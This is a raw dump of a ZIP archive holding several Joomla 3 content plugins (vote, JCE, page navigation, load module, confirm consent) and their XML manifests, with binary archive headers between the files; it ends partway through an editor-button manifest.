	$options[] = JHtml::_('select.option', $i, JText::sprintf('PLG_VOTE_VOTE', $i));
}

?>
<form method="post" action="<?php echo htmlspecialchars($uri->toString(), ENT_COMPAT, 'UTF-8'); ?>" class="form-inline">
	<span class="content_vote">
		<label class="unseen element-invisible" for="content_vote_<?php echo (int) $row->id; ?>"><?php echo JText::_('PLG_VOTE_LABEL'); ?></label>
		<?php echo JHtml::_('select.genericlist', $options, 'user_rating', null, 'value', 'text', '5', 'content_vote_' . (int) $row->id); ?>
		&#160;<input class="btn btn-mini" type="submit" name="submit_vote" value="<?php echo JText::_('PLG_VOTE_RATE'); ?>" />
		<input type="hidden" name="task" value="article.vote" />
		<input type="hidden" name="hitcount" value="0" />
		<input type="hidden" name="url" value="<?php echo htmlspecialchars($uri->toString(), ENT_COMPAT, 'UTF-8'); ?>" />
		<?php echo JHtml::_('form.token'); ?>
	</span>
</form>
PK�(]�Ȭ��content/jce/jce.xmlnu�[���<?xml version="1.0" encoding="utf-8"?>
<extension version="1.6" type="plugin" group="content" method="upgrade">
  <name>plg_content_jce</name>
  <version>2.9.38</version>
  <creationDate>27-06-2023</creationDate>
  <author>Ryan Demmer</author>
  <authorEmail>info@joomlacontenteditor.net</authorEmail>
  <authorUrl>http://www.joomlacontenteditor.net</authorUrl>
  <copyright>Copyright (C) 2006 - 2023 Ryan Demmer. All rights reserved</copyright>
  <license>GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html</license>
  <description>PLG_CONTENT_JCE_XML_DESCRIPTION</description>
  <files folder="plugins/content/jce">
    <file plugin="jce">jce.php</file>
  </files>

  <languages folder="administrator/language/en-GB">
      <language tag="en-GB">en-GB.plg_content_jce.ini</language>
      <language tag="en-GB">en-GB.plg_content_jce.sys.ini</language>
  </languages>
</extension>
PK�(]�F�3content/jce/jce.phpnu�[���<?php

/**
 * @copyright   Copyright (C) 2015 Ryan Demmer. All rights reserved
 * @copyright   Copyright (C) 2005 - 2016 Open Source Matters, Inc. All rights reserved
 * @license     GNU General Public License version 2 or later
 */
defined('JPATH_BASE') or die;

/**
 * JCE.
 *
 * @since       2.5.20
 */
class PlgContentJce extends JPlugin
{
    public function onContentPrepareForm($form, $data)
    {
        JFactory::getApplication()->triggerEvent('onPlgSystemJceContentPrepareForm', array($form, $data));
    }
}
PK�(]�#o,,content/jce/css/index.htmlnu�[���<html><body bgcolor="#FFFFFF"></body></html>PK�(]�<��content/jce/css/media.cssnu�[���.field-media-wrapper .modal{height:90vh}.field-media-wrapper .modal .modal-body{max-height:100%!important}.field-media-wrapper .modal .modal-body iframe{height:calc(90vh - 120px)!important}PK�(]@4'content/pagenavigation/tmpl/default.phpnu�[���<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Content.pagenavigation
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JHtml::_('bootstrap.tooltip');

$lang = JFactory::getLanguage();

?>
<ul class="pager pagenav">
<?php if ($row->prev) :
	$direction = $lang->isRtl() ? 'right' : 'left'; ?>
	<li class="previous">
		<a class="hasTooltip" title="<?php echo htmlspecialchars($rows[$location-1]->title); ?>" aria-label="<?php echo JText::sprintf('JPREVIOUS_TITLE', htmlspecialchars($rows[$location-1]->title)); ?>" href="<?php echo $row->prev; ?>" rel="prev">
			<?php echo '<span class="icon-chevron-' . $direction . '" aria-hidden="true"></span> <span aria-hidden="true">' . $row->prev_label . '</span>'; ?>
		</a>
	</li>
<?php endif; ?>
<?php if ($row->next) :
	$direction = $lang->isRtl() ? 'left' : 'right'; ?>
	<li class="next">
		<a class="hasTooltip" title="<?php echo htmlspecialchars($rows[$location+1]->title); ?>" aria-label="<?php echo JText::sprintf('JNEXT_TITLE', htmlspecialchars($rows[$location+1]->title)); ?>" href="<?php echo $row->next; ?>" rel="next">
			<?php echo '<span aria-hidden="true">' . $row->next_label . '</span> <span class="icon-chevron-' . $direction . '" aria-hidden="true"></span>'; ?>
		</a>
	</li>
<?php endif; ?>
</ul>
PK�(]:k��)content/pagenavigation/pagenavigation.phpnu�[���<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Content.pagenavigation
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JLoader::register('ContentHelperRoute', JPATH_SITE . '/components/com_content/helpers/route.php');

/**
 * Pagenavigation plugin class.
 *
 * @since  1.5
 */
class PlgContentPagenavigation extends JPlugin
{
	/**
	 * If in the article view and the parameter is enabled shows the page navigation
	 *
	 * @param   string   $context  The context of the content being passed to the plugin
	 * @param   object   &$row     The article object
	 * @param   mixed    &$params  The article params
	 * @param   integer  $page     The 'page' number
	 *
	 * @return  mixed  void or true
	 *
	 * @since   1.6
	 */
	public function onContentBeforeDisplay($context, &$row, &$params, $page = 0)
	{
		$app   = JFactory::getApplication();
		$view  = $app->input->get('view');
		$print = $app->input->getBool('print');

		if ($print)
		{
			return false;
		}

		if ($context === 'com_content.article' && $view === 'article' && $params->get('show_item_navigation'))
		{
			$db       = JFactory::getDbo();
			$user     = JFactory::getUser();
			$lang     = JFactory::getLanguage();
			$nullDate = $db->getNullDate();

			$date = JFactory::getDate();
			$now  = $date->toSql();

			$uid        = $row->id;
			$option     = 'com_content';
			$canPublish = $user->authorise('core.edit.state', $option . '.article.' . $row->id);

			/**
			 * The following is needed as different menu items types utilise a different param to control ordering.
			 * For Blogs the `orderby_sec` param is the order controlling param.
			 * For Table and List views it is the `orderby` param.
			**/
			$params_list = $params->toArray();

			if (array_key_exists('orderby_sec', $params_list))
			{
				$order_method = $params->get('orderby_sec', '');
			}
			else
			{
				$order_method = $params->get('orderby', '');
			}

			// Additional check for invalid sort ordering.
			if ($order_method === 'front')
			{
				$order_method = '';
			}

			// Get the order code
			$orderDate = $params->get('order_date');
			$queryDate = $this->getQueryDate($orderDate);

			// Determine sort order.
			switch ($order_method)
			{
				case 'date' :
					$orderby = $queryDate;
					break;
				case 'rdate' :
					$orderby = $queryDate . ' DESC ';
					break;
				case 'alpha' :
					$orderby = 'a.title';
					break;
				case 'ralpha' :
					$orderby = 'a.title DESC';
					break;
				case 'hits' :
					$orderby = 'a.hits';
					break;
				case 'rhits' :
					$orderby = 'a.hits DESC';
					break;
				case 'order' :
					$orderby = 'a.ordering';
					break;
				case 'author' :
					$orderby = 'a.created_by_alias, u.name';
					break;
				case 'rauthor' :
					$orderby = 'a.created_by_alias DESC, u.name DESC';
					break;
				case 'front' :
					$orderby = 'f.ordering';
					break;
				default :
					$orderby = 'a.ordering';
					break;
			}

			$xwhere = ' AND (a.state = 1 OR a.state = -1)'
				. ' AND (publish_up = ' . $db->quote($nullDate) . ' OR publish_up <= ' . $db->quote($now) . ')'
				. ' AND (publish_down = ' . $db->quote($nullDate) . ' OR publish_down >= ' . $db->quote($now) . ')';

			// Array of articles in same category correctly ordered.
			$query = $db->getQuery(true);

			// Sqlsrv changes
			$case_when = ' CASE WHEN ' . $query->charLength('a.alias', '!=', '0');
			$a_id = $query->castAsChar('a.id');
			$case_when .= ' THEN ' . $query->concatenate(array($a_id, 'a.alias'), ':');
			$case_when .= ' ELSE ' . $a_id . ' END as slug';

			$case_when1 = ' CASE WHEN ' . $query->charLength('cc.alias', '!=', '0');
			$c_id = $query->castAsChar('cc.id');
			$case_when1 .= ' THEN ' . $query->concatenate(array($c_id, 'cc.alias'), ':');
			$case_when1 .= ' ELSE ' . $c_id . ' END as catslug';
			$query->select('a.id, a.title, a.catid, a.language,' . $case_when . ',' . $case_when1)
				->from('#__content AS a')
				->join('LEFT', '#__categories AS cc ON cc.id = a.catid');

			if ($order_method === 'author' || $order_method === 'rauthor')
			{
				$query->select('a.created_by, u.name');
				$query->join('LEFT', '#__users AS u ON u.id = a.created_by');
			}

			$query->where(
					'a.catid = ' . (int) $row->catid . ' AND a.state = ' . (int) $row->state
						. ($canPublish ? '' : ' AND a.access IN (' . implode(',', JAccess::getAuthorisedViewLevels($user->id)) . ') ') . $xwhere
				);
			$query->order($orderby);

			if ($app->isClient('site') && $app->getLanguageFilter())
			{
				$query->where('a.language in (' . $db->quote($lang->getTag()) . ',' . $db->quote('*') . ')');
			}

			$db->setQuery($query);
			$list = $db->loadObjectList('id');

			// This check needed if incorrect Itemid is given resulting in an incorrect result.
			if (!is_array($list))
			{
				$list = array();
			}

			reset($list);

			// Location of current content item in array list.
			$location = array_search($uid, array_keys($list));
			$rows     = array_values($list);

			$row->prev = null;
			$row->next = null;

			if ($location - 1 >= 0)
			{
				// The previous content item cannot be in the array position -1.
				$row->prev = $rows[$location - 1];
			}

			if (($location + 1) < count($rows))
			{
				// The next content item cannot be in an array position greater than the number of array postions.
				$row->next = $rows[$location + 1];
			}

			if ($row->prev)
			{
				$row->prev_label = ($this->params->get('display', 0) == 0) ? JText::_('JPREV') : $row->prev->title;
				$row->prev = JRoute::_(ContentHelperRoute::getArticleRoute($row->prev->slug, $row->prev->catid, $row->prev->language));
			}
			else
			{
				$row->prev_label = '';
				$row->prev = '';
			}

			if ($row->next)
			{
				$row->next_label = ($this->params->get('display', 0) == 0) ? JText::_('JNEXT') : $row->next->title;
				$row->next = JRoute::_(ContentHelperRoute::getArticleRoute($row->next->slug, $row->next->catid, $row->next->language));
			}
			else
			{
				$row->next_label = '';
				$row->next = '';
			}

			// Output.
			if ($row->prev || $row->next)
			{
				// Get the path for the layout file
				$path = JPluginHelper::getLayoutPath('content', 'pagenavigation');

				// Render the pagenav
				ob_start();
				include $path;
				$row->pagination = ob_get_clean();

				$row->paginationposition = $this->params->get('position', 1);

				// This will default to the 1.5 and 1.6-1.7 behavior.
				$row->paginationrelative = $this->params->get('relative', 0);
			}
		}
	}

	/**
	 * Translate an order code to a field for primary ordering.
	 *
	 * @param   string  $orderDate  The ordering code.
	 *
	 * @return  string  The SQL field(s) to order by.
	 *
	 * @since   3.3
	 */
	private static function getQueryDate($orderDate)
	{
		$db = JFactory::getDbo();

		switch ($orderDate)
		{
			// Use created if modified is not set
			case 'modified' :
				$queryDate = ' CASE WHEN a.modified = ' . $db->quote($db->getNullDate()) . ' THEN a.created ELSE a.modified END';
				break;

			// Use created if publish_up is not set
			case 'published' :
				$queryDate = ' CASE WHEN a.publish_up = ' . $db->quote($db->getNullDate()) . ' THEN a.created ELSE a.publish_up END ';
				break;

			// Use created as default
			case 'created' :
			default :
				$queryDate = ' a.created ';
				break;
		}

		return $queryDate;
	}
}
PK�(]f�;��)content/pagenavigation/pagenavigation.xmlnu�[���<?xml version="1.0" encoding="utf-8"?>
<extension version="3.1" type="plugin" group="content" method="upgrade">
	<name>plg_content_pagenavigation</name>
	<author>Joomla! Project</author>
	<creationDate>January 2006</creationDate>
	<copyright>(C) 2006 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.0.0</version>
	<description>PLG_PAGENAVIGATION_XML_DESCRIPTION</description>
	<files>
		<filename plugin="pagenavigation">pagenavigation.php</filename>
		<folder>tmpl</folder>
	</files>
	<languages>
		<language tag="en-GB">en-GB.plg_content_pagenavigation.ini</language>
		<language tag="en-GB">en-GB.plg_content_pagenavigation.sys.ini</language>
	</languages>
	<config>
		<fields name="params">

			<fieldset name="basic">
				<field
					name="position"
					type="list"
					label="PLG_PAGENAVIGATION_FIELD_POSITION_LABEL"
					description="PLG_PAGENAVIGATION_FIELD_POSITION_DESC"
					default="1"
					filter="integer"
					>
					<option value="1">PLG_PAGENAVIGATION_FIELD_VALUE_BELOW</option>
					<option value="0">PLG_PAGENAVIGATION_FIELD_VALUE_ABOVE</option>
				</field>

				<field
					name="relative"
					type="list"
					label="PLG_PAGENAVIGATION_FIELD_RELATIVE_LABEL"
					description="PLG_PAGENAVIGATION_FIELD_RELATIVE_DESC"
					default="1"
					filter="integer"
					>
					<option value="1">PLG_PAGENAVIGATION_FIELD_VALUE_ARTICLE</option>
					<option value="0">PLG_PAGENAVIGATION_FIELD_VALUE_TEXT</option>
				</field>

				<field
					name="display"
					type="list"
					label="PLG_PAGENAVIGATION_FIELD_DISPLAY_LABEL"
					description="PLG_PAGENAVIGATION_FIELD_DISPLAY_DESC"
					default="0"
					filter="integer"
					>
					<option value="0">PLG_PAGENAVIGATION_FIELD_VALUE_NEXTPREV</option>
					<option value="1">PLG_PAGENAVIGATION_FIELD_VALUE_TITLE</option>
				</field>

			</fieldset>
		</fields>
	</config>
</extension>
PK�(]Ձ�$��!content/loadmodule/loadmodule.phpnu�[���<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Content.loadmodule
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Plugin to enable loading modules into content (e.g. articles)
 * This uses the {loadmodule} syntax
 *
 * @since  1.5
 */
class PlgContentLoadmodule extends JPlugin
{
	protected static $modules = array();

	protected static $mods = array();

	/**
	 * Plugin that loads module positions within content
	 *
	 * @param   string   $context   The context of the content being passed to the plugin.
	 * @param   object   &$article  The article object.  Note $article->text is also available
	 * @param   mixed    &$params   The article params
	 * @param   integer  $page      The 'page' number
	 *
	 * @return  mixed   true if there is an error. Void otherwise.
	 *
	 * @since   1.6
	 */
	public function onContentPrepare($context, &$article, &$params, $page = 0)
	{
		// Don't run this plugin when the content is being indexed
		if ($context === 'com_finder.indexer')
		{
			return true;
		}

		// Simple performance check to determine whether bot should process further
		if (strpos($article->text, 'loadposition') === false && strpos($article->text, 'loadmodule') === false)
		{
			return true;
		}

		// Expression to search for (positions)
		$regex = '/{loadposition\s(.*?)}/i';
		$style = $this->params->def('style', 'none');

		// Expression to search for(modules)
		$regexmod = '/{loadmodule\s(.*?)}/i';
		$stylemod = $this->params->def('style', 'none');

		// Expression to search for(id)
		$regexmodid = '/{loadmoduleid\s([1-9][0-9]*)}/i';

		// Find all instances of plugin and put in $matches for loadposition
		// $matches[0] is full pattern match, $matches[1] is the position
		preg_match_all($regex, $article->text, $matches, PREG_SET_ORDER);

		// No matches, skip this
		if ($matches)
		{
			foreach ($matches as $match)
			{
				$matcheslist = explode(',', $match[1]);

				// We may not have a module style so fall back to the plugin default.
				if (!array_key_exists(1, $matcheslist))
				{
					$matcheslist[1] = $style;
				}

				$position = trim($matcheslist[0]);
				$style    = trim($matcheslist[1]);

				$output = $this->_load($position, $style);

				// We should replace only first occurrence in order to allow positions with the same name to regenerate their content:
				if (($start = strpos($article->text, $match[0])) !== false)
				{
					$article->text = substr_replace($article->text, $output, $start, strlen($match[0]));
				}

				$style = $this->params->def('style', 'none');
			}
		}

		// Find all instances of plugin and put in $matchesmod for loadmodule
		preg_match_all($regexmod, $article->text, $matchesmod, PREG_SET_ORDER);

		// If no matches, skip this
		if ($matchesmod)
		{
			foreach ($matchesmod as $matchmod)
			{
				$matchesmodlist = explode(',', $matchmod[1]);

				// We may not have a specific module so set to null
				if (!array_key_exists(1, $matchesmodlist))
				{
					$matchesmodlist[1] = null;
				}

				// We may not have a module style so fall back to the plugin default.
				if (!array_key_exists(2, $matchesmodlist))
				{
					$matchesmodlist[2] = $stylemod;
				}

				$module = trim($matchesmodlist[0]);
				$name   = htmlspecialchars_decode(trim($matchesmodlist[1]));
				$stylemod  = trim($matchesmodlist[2]);

				// $match[0] is full pattern match, $match[1] is the module,$match[2] is the title
				$output = $this->_loadmod($module, $name, $stylemod);

				// We should replace only first occurrence in order to allow positions with the same name to regenerate their content:
				if (($start = strpos($article->text, $matchmod[0])) !== false)
				{
					$article->text = substr_replace($article->text, $output, $start, strlen($matchmod[0]));
				}

				$stylemod = $this->params->def('style', 'none');
			}
		}

		// Find all instances of plugin and put in $matchesmodid for loadmoduleid
		preg_match_all($regexmodid, $article->text, $matchesmodid, PREG_SET_ORDER);

		// If no matches, skip this
		if ($matchesmodid)
		{
			foreach ($matchesmodid as $match)
			{
				$id     = trim($match[1]);
				$output = $this->_loadid($id);

				// We should replace only first occurrence in order to allow positions with the same name to regenerate their content:
				if (($start = strpos($article->text, $match[0])) !== false)
				{
					$article->text = substr_replace($article->text, $output, $start, strlen($match[0]));
				}

				$style = $this->params->def('style', 'none');
			}
		}
	}

	/**
	 * Loads and renders the module
	 *
	 * @param   string  $position  The position assigned to the module
	 * @param   string  $style     The style assigned to the module
	 *
	 * @return  mixed
	 *
	 * @since   1.6
	 */
	protected function _load($position, $style = 'none')
	{
		self::$modules[$position] = '';
		$document = JFactory::getDocument();
		$renderer = $document->loadRenderer('module');
		$modules  = JModuleHelper::getModules($position);
		$params   = array('style' => $style);
		ob_start();

		foreach ($modules as $module)
		{
			echo $renderer->render($module, $params);
		}

		self::$modules[$position] = ob_get_clean();

		return self::$modules[$position];
	}

	/**
	 * This is always going to get the first instance of the module type unless
	 * there is a title.
	 *
	 * @param   string  $module  The module title
	 * @param   string  $title   The title of the module
	 * @param   string  $style   The style of the module
	 *
	 * @return  mixed
	 *
	 * @since   1.6
	 */
	protected function _loadmod($module, $title, $style = 'none')
	{
		self::$mods[$module] = '';
		$document = JFactory::getDocument();
		$renderer = $document->loadRenderer('module');
		$mod      = JModuleHelper::getModule($module, $title);

		// If the module without the mod_ isn't found, try it with mod_.
		// This allows people to enter it either way in the content
		if (!isset($mod))
		{
			$name = 'mod_' . $module;
			$mod  = JModuleHelper::getModule($name, $title);
		}

		$params = array('style' => $style);
		ob_start();

		if ($mod->id)
		{
			echo $renderer->render($mod, $params);
		}

		self::$mods[$module] = ob_get_clean();

		return self::$mods[$module];
	}

	/**
	 * Loads and renders the module
	 *
	 * @param   string  $id  The id of the module
	 *
	 * @return  mixed
	 *
	 * @since   3.9.0
	 */
	protected function _loadid($id)
	{
		self::$modules[$id] = '';
		$document = JFactory::getDocument();
		$renderer = $document->loadRenderer('module');
		$modules  = JModuleHelper::getModuleById($id);
		$params   = array('style' => 'none');
		ob_start();

		if ($modules->id > 0)
		{
			echo $renderer->render($modules, $params);
		}

		self::$modules[$id] = ob_get_clean();

		return self::$modules[$id];
	}
}
PK�(]�[z6��!content/loadmodule/loadmodule.xmlnu�[���<?xml version="1.0" encoding="utf-8"?>
<extension version="3.1" type="plugin" group="content" method="upgrade">
	<name>plg_content_loadmodule</name>
	<author>Joomla! Project</author>
	<creationDate>November 2005</creationDate>
	<copyright>(C) 2005 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.0.0</version>
	<description>PLG_LOADMODULE_XML_DESCRIPTION</description>
	<files>
		<filename plugin="loadmodule">loadmodule.php</filename>
	</files>
	<languages>
		<language tag="en-GB">en-GB.plg_content_loadmodule.ini</language>
		<language tag="en-GB">en-GB.plg_content_loadmodule.sys.ini</language>
	</languages>
	<config>
		<fields name="params">
			<fieldset name="basic">
				<field
					name="style"
					type="list"
					label="PLG_LOADMODULE_FIELD_STYLE_LABEL"
					description="PLG_LOADMODULE_FIELD_STYLE_DESC"
					default="table"
					>
					<option value="table">PLG_LOADMODULE_FIELD_VALUE_TABLE</option>
					<option value="horz">PLG_LOADMODULE_FIELD_VALUE_HORIZONTAL</option>
					<option value="xhtml">PLG_LOADMODULE_FIELD_VALUE_DIVS</option>
					<option value="rounded">PLG_LOADMODULE_FIELD_VALUE_MULTIPLEDIVS</option>
					<option value="none">PLG_LOADMODULE_FIELD_VALUE_RAW</option>
				</field>
			</fieldset>
		</fields>
	</config>
</extension>
PK�(]P�Ltt,content/confirmconsent/fields/consentbox.phpnu�[���<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Content.confirmconsent
 *
 * @copyright   (C) 2018 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('JPATH_PLATFORM') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Associations;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Router\Route;

JFormHelper::loadFieldClass('Checkboxes');

/**
 * Consentbox Field class for the Confirm Consent Plugin.
 *
 * @since  3.9.1
 */
class JFormFieldConsentBox extends JFormFieldCheckboxes
{
	/**
	 * The form field type.
	 *
	 * @var    string
	 * @since  3.9.1
	 */
	protected $type = 'ConsentBox';

	/**
	 * Flag to tell the field to always be in multiple values mode.
	 *
	 * @var    boolean
	 * @since  3.9.1
	 */
	protected $forceMultiple = false;

	/**
	 * The article ID.
	 *
	 * @var    integer
	 * @since  3.9.1
	 */
	protected $articleid;

	/**
	 * Method to set certain otherwise inaccessible properties of the form field object.
	 *
	 * @param   string  $name   The property name for which to set the value.
	 * @param   mixed   $value  The value of the property.
	 *
	 * @return  void
	 *
	 * @since   3.9.1
	 */
	public function __set($name, $value)
	{
		switch ($name)
		{
			case 'articleid':
				$this->articleid = (int) $value;
				break;

			default:
				parent::__set($name, $value);
		}
	}

	/**
	 * Method to get certain otherwise inaccessible properties from the form field object.
	 *
	 * @param   string  $name  The property name for which to get the value.
	 *
	 * @return  mixed  The property value or null.
	 *
	 * @since   3.9.1
	 */
	public function __get($name)
	{
		switch ($name)
		{
			case 'articleid':
				return $this->$name;
		}

		return parent::__get($name);
	}

	/**
	 * Method to attach a JForm object to the field.
	 *
	 * @param   SimpleXMLElement  $element  The SimpleXMLElement object representing the `<field>` tag for the form field object.
	 * @param   mixed             $value    The form field value to validate.
	 * @param   string            $group    The field name group control value. This acts as an array container for the field.
	 *                                      For example if the field has name="foo" and the group value is set to "bar" then the
	 *                                      full field name would end up being "bar[foo]".
	 *
	 * @return  boolean  True on success.
	 *
	 * @see     JFormField::setup()
	 * @since   3.9.1
	 */
	public function setup(SimpleXMLElement $element, $value, $group = null)
	{
		$return = parent::setup($element, $value, $group);

		if ($return)
		{
			$this->articleid = (int) $this->element['articleid'];
		}

		return $return;
	}

	/**
	 * Method to get the field label markup.
	 *
	 * @return  string  The field label markup.
	 *
	 * @since   3.9.1
	 */
	protected function getLabel()
	{
		if ($this->hidden)
		{
			return '';
		}

		$data = $this->getLayoutData();

		// Forcing the Alias field to display the tip below
		$position = $this->element['name'] == 'alias' ? ' data-placement="bottom" ' : '';

		// When we have an article let's add the modal and make the title clickable
		if ($data['articleid'])
		{
			$attribs['data-toggle'] = 'modal';

			$data['label'] = HTMLHelper::_(
				'link',
				'#modal-' . $this->id,
				$data['label'],
				$attribs
			);
		}

		// Here mainly for B/C with old layouts. This can be done in the layouts directly
		$extraData = array(
			'text'     => $data['label'],
			'for'      => $this->id,
			'classes'  => explode(' ', $data['labelclass']),
			'position' => $position,
		);

		return $this->getRenderer($this->renderLabelLayout)->render(array_merge($data, $extraData));
	}

	/**
	 * Method to get the field input markup.
	 *
	 * @return  string  The field input markup.
	 *
	 * @since   3.9.2
	 */
	protected function getInput()
	{
		$modalHtml  = '';
		$layoutData = $this->getLayoutData();

		if ($this->articleid)
		{
			$modalParams['title']  = $layoutData['label'];
			$modalParams['url']    = $this->getAssignedArticleUrl();
			$modalParams['height'] = 800;
			$modalParams['width']  = '100%';
			$modalHtml = HTMLHelper::_('bootstrap.renderModal', 'modal-' . $this->id, $modalParams);
		}

		return $modalHtml . parent::getInput();
	}

	/**
	 * Method to get the data to be passed to the layout for rendering.
	 *
	 * @return  array
	 *
	 * @since   3.9.1
	 */
	protected function getLayoutData()
	{
		$data = parent::getLayoutData();

		$extraData = array(
			'articleid' => (integer) $this->articleid,
		);

		return array_merge($data, $extraData);
	}

	/**
	 * Return the url of the assigned article based on the current user language
	 *
	 * @return  string  Returns the link to the article
	 *
	 * @since   3.9.1
	 */
	private function getAssignedArticleUrl()
	{
		$db = Factory::getDbo();

		// Get the info from the article
		$query = $db->getQuery(true)
			->select($db->quoteName(array('id', 'catid', 'language')))
			->from($db->quoteName('#__content'))
			->where($db->quoteName('id') . ' = ' . (int) $this->articleid);
		$db->setQuery($query);

		try
		{
			$article = $db->loadObject();
		}
		catch (JDatabaseExceptionExecuting $e)
		{
			// Something at the database layer went wrong
			return Route::_(
				'index.php?option=com_content&view=article&id='
				. $this->articleid . '&tmpl=component'
			);
		}

		if (!is_object($article))
		{
			// We have not found the article object lets show a 404 to the user
			return Route::_(
				'index.php?option=com_content&view=article&id='
				. $this->articleid . '&tmpl=component'
			);
		}

		// Register ContentHelperRoute
		JLoader::register('ContentHelperRoute', JPATH_BASE . '/components/com_content/helpers/route.php');

		if (!Associations::isEnabled())
		{
			return Route::_(
				ContentHelperRoute::getArticleRoute(
					$article->id,
					$article->catid,
					$article->language
				) . '&tmpl=component'
			);
		}

		$associatedArticles = Associations::getAssociations('com_content', '#__content', 'com_content.item', $article->id);
		$currentLang        = Factory::getLanguage()->getTag();

		if (isset($associatedArticles) && $currentLang !== $article->language && array_key_exists($currentLang, $associatedArticles))
		{
			return Route::_(
				ContentHelperRoute::getArticleRoute(
					$associatedArticles[$currentLang]->id,
					$associatedArticles[$currentLang]->catid,
					$associatedArticles[$currentLang]->language
				) . '&tmpl=component'
			);
		}

		// Association is enabled but this article is not associated
		return Route::_(
			'index.php?option=com_content&view=article&id='
				. $article->id . '&catid=' . $article->catid
				. '&tmpl=component&lang=' . $article->language
		);
	}
}
PK�(]�5�77)content/confirmconsent/confirmconsent.xmlnu�[���<?xml version="1.0" encoding="utf-8"?>
<extension version="3.9" type="plugin" group="content" method="upgrade">
	<name>plg_content_confirmconsent</name>
	<author>Joomla! Project</author>
	<creationDate>May 2018</creationDate>
	<copyright>(C) 2018 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.9.0</version>
	<description>PLG_CONTENT_CONFIRMCONSENT_XML_DESCRIPTION</description>
	<files>
		<filename plugin="confirmconsent">confirmconsent.php</filename>
	</files>
	<languages>
		<language tag="en-GB">en-GB.plg_content_confirmconsent.ini</language>
		<language tag="en-GB">en-GB.plg_content_confirmconsent.sys.ini</language>
	</languages>
	<config>
		<fields name="params">
			<fieldset name="basic" addfieldpath="/administrator/components/com_content/models/fields">
				<field
					name="consentbox_text"
					type="textarea"
					label="PLG_CONTENT_CONFIRMCONSENT_FIELD_NOTE_LABEL"
					description="PLG_CONTENT_CONFIRMCONSENT_FIELD_NOTE_DESC"
					hint="PLG_CONTENT_CONFIRMCONSENT_FIELD_NOTE_DEFAULT"
					class="span12"
					rows="7"
					cols="20"
					filter="html"
				/>

				<field
					name="privacy_article"
					type="modal_article"
					label="PLG_CONTENT_CONFIRMCONSENT_FIELD_ARTICLE_LABEL"
					description="PLG_CONTENT_CONFIRMCONSENT_FIELD_ARTICLE_DESC"
					select="true"
					new="true"
					edit="true"
					clear="true"
					filter="integer"
				/>
			</fieldset>
		</fields>
	</config>
</extension>
PK�(]�p�|��)content/confirmconsent/confirmconsent.phpnu�[���<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Content.confirmconsent
 *
 * @copyright   (C) 2018 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Language\Text;
use Joomla\CMS\Plugin\CMSPlugin;

/**
 * The Joomla Core confirm consent plugin
 *
 * @since  3.9.0
 */
class PlgContentConfirmConsent extends CMSPlugin
{
	/**
	 * The Application object
	 *
	 * @var    JApplicationSite
	 * @since  3.9.0
	 */
	protected $app;

	/**
	 * Load the language file on instantiation.
	 *
	 * @var    boolean
	 * @since  3.9.0
	 */
	protected $autoloadLanguage = true;

	/**
	 * The supported form contexts
	 *
	 * @var    array
	 * @since  3.9.0
	 */
	protected $supportedContext = array(
		'com_contact.contact',
		'com_mailto.mailto',
		'com_privacy.request',
	);

	/**
	 * Add additional fields to the supported forms
	 *
	 * @param   JForm  $form  The form to be altered.
	 * @param   mixed  $data  The associated data for the form.
	 *
	 * @return  boolean
	 *
	 * @since   3.9.0
	 */
	public function onContentPrepareForm(JForm $form, $data)
	{
		if ($this->app->isClient('administrator') || !in_array($form->getName(), $this->supportedContext))
		{
			return true;
		}

		// Get the consent box Text & the selected privacyarticle
		$consentboxText  = (string) $this->params->get('consentbox_text', Text::_('PLG_CONTENT_CONFIRMCONSENT_FIELD_NOTE_DEFAULT'));
		$privacyArticle  = $this->params->get('privacy_article', false);

		$form->load('
			<form>
				<fieldset name="default" addfieldpath="/plugins/content/confirmconsent/fields">
					<field
						name="consentbox"
						type="consentbox"
						articleid="' . $privacyArticle . '"
						label="PLG_CONTENT_CONFIRMCONSENT_CONSENTBOX_LABEL"
						required="true"
						>
						<option value="0">' . htmlspecialchars($consentboxText, ENT_COMPAT, 'UTF-8') . '</option>
					</field>
				</fieldset>
			</form>'
		);

		return true;
	}
}
PK�(]�k\�editors-xtd/article/article.xmlnu�[���<?xml version="1.0" encoding="utf-8"?>
<extension version="3.1" type="plugin" group="editors-xtd" method="upgrade">
	<name>plg_editors-xtd_article</name>
	<author>Joomla! Project</author>
	<creationDate>October 2009</creationDate>
	<copyright>(C) 2009 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.0.0</version>
	<description>PLG_ARTICLE_XML_DESCRIPTION</description>
	<files>
		<filename plugin="article">article.php</filename>
	</files>
	<languages>
		<language tag="en-GB">en-GB.plg_editors-xtd_article.ini</language>
